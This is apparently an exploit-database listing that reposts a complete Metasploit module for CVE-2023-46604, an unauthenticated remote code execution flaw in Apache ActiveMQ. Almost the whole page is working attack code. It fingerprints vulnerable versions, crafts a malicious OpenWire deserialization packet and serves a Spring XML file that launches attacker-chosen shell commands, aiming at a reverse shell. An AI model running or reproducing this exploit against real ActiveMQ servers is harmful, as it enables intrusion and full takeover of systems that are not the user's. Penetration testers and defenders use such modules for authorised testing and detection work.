ActiveMQ-5.18.2 RCE-shell-reverse-Metasploit

2023.11.23
Risk: High
Local: No
Remote: Yes
CVE: N/A

Automated exploit author: nu11secur1ty Module: https://github.com/rapid7/metasploit-framework Date 11/16/2023 More about: Understanding ***deserialization*** [Learn](https://portswigger.net/web-security/deserialization) ### Exploit ```xml ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::Tcp include Msf::Exploit::Retry def initialize(info = {}) super( update_info( info, 'Name' => 'Apache ActiveMQ Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits a deserialization vulnerability in the OpenWire transport unmarshaller in Apache ActiveMQ. Affected versions include 5.18.0 through to 5.18.2, 5.17.0 through to 5.17.5, 5.16.0 through to 5.16.6, and all versions before 5.15.16. }, 'License' => MSF_LICENSE, 'Author' => [ 'X1r0z', # Original technical analysis & exploit 'sfewer-r7', # MSF exploit & Rapid7 analysis ], 'References' => [ ['CVE', '2023-46604'], ['URL', 'https://github.com/X1r0z/ActiveMQ-RCE'], ['URL', 'https://exp10it.cn/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/'], ['URL', 'https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis'], ['URL', 'https://activemq.apache.org/security-advisories.data/CVE-2023-46604-announcement.txt'] ], 'DisclosureDate' => '2023-10-27', 'Privileged' => false, 'Platform' => %w[win linux unix], 'Arch' => [ARCH_CMD], # The Msf::Exploit::Remote::HttpServer mixin will bring in Exploit::Remote::SocketServer, this will set the # Stance to passive, which is unexpected and results in the exploit running as a background job, as RunAsJob will # be set to true. To avoid this happening, we explicitly set the Stance to Aggressive. 'Stance' => Stance::Aggressive, 'Targets' => [ [ 'Windows', { 'Platform' => 'win' } ], [ 'Linux', { 'Platform' => 'linux' } ], [ 'Unix', { 'Platform' => 'unix' } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { # By default ActiveMQ listens for OpenWire requests on TCP port 61616. 'RPORT' => 61616, # The maximum time in seconds to wait for a session. 'WfsDelay' => 30 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) end def check connect res = sock.get_once disconnect return CheckCode::Unknown unless res len, _, magic = res.unpack('NCZ*') return CheckCode::Unknown unless res.length == len + 4 return CheckCode::Unknown unless magic == 'ActiveMQ' return CheckCode::Detected unless res =~ /ProviderVersion...(\d+\.\d+\.\d+)/ version = Rex::Version.new(::Regexp.last_match(1)) ranges = [ ['5.18.0', '5.18.2'], ['5.17.0', '5.17.5'], ['5.16.0', '5.16.6'], ['0.0.0', '5.15.15'] ] ranges.each do |min, max| if version.between?(Rex::Version.new(min), Rex::Version.new(max)) return Exploit::CheckCode::Appears("Apache ActiveMQ #{version}") end end Exploit::CheckCode::Safe("Apache ActiveMQ #{version}") end def exploit # The payload is send in a CDATA section of an XML file. Therefore, the payload cannot contain a CDATA closing tag. if payload.encoded.include? ']]>' fail_with(Failure::BadConfig, 'The encoded payload data may not contain the CDATA closing tag ]]>') end start_service connect # The vulnerability allows us to instantiate an arbitrary class, with a single arbitrary string parameter. To # leverage this we can use ClassPathXmlApplicationContext, and pass a URL to an XML configuration file we # serve. This XML file allows us to create arbitrary classes, and call arbitrary methods. This is leveraged to # run an attacker supplied command line via java.lang.ProcessBuilder.start. clazz = 'org.springframework.context.support.ClassPathXmlApplicationContext' # 31 is the EXCEPTION_RESPONSE data type. data = [31].pack('C') # ResponseMarshaller.looseUnmarshal reads a 4 byte int for the command id. data << [0].pack('N') # and a 1 byte boolean for response required. data << [0].pack('C') # ResponseMarshaller.looseUnmarshal read a 4 byte int for the correlation ID. data << [0].pack('N') # BaseDataStreamMarshaller.looseUnmarsalThrowable wants a boolean true to continue to unmarshall. data << [1].pack('C') # BaseDataStreamMarshaller.looseUnmarshalString reads a byte boolean and if true, reads a UTF-8 string. data << [1].pack('C') # First 2 bytes are the length. data << [clazz.length].pack('n') # Then the string data. This is the class name to instantiate. data << clazz # Same again for the method string. This is the single string parameter used during class instantiation. data << [1].pack('C') data << [get_uri.length].pack('n') data << get_uri sock.puts([data.length].pack('N') + data) retry_until_truthy(timeout: datastore['WfsDelay']) do !handler_enabled? || session_created? end handler ensure cleanup end def on_request_uri(cli, request) if request.uri != get_resource super end case target['Platform'] when 'win' shell = 'cmd.exe' flag = '/c' when 'linux', 'unix' shell = '/bin/sh' flag = '-c' end xml = %(<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>#{shell}</value> <value>#{flag}</value> <value><![CDATA[#{payload.encoded}]]></value> </list> </constructor-arg> </bean> </beans>) send_response(cli, xml, { 'Content-Type' => 'application/xml', 'Connection' => 'close', 'Pragma' => 'no-cache' }) print_status('Sent ClassPathXmlApplicationContext configuration file.') end end ``` # Details: [href](https://www.rapid7.com/blog/post/2023/11/01/etr-suspected-exploitation-of-apache-activemq-cve-2023-46604/) Short video: [Short_demo](https://www.youtube.com/watch?v=XeDEC7XjY7A) BR @nu11secur1ty


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top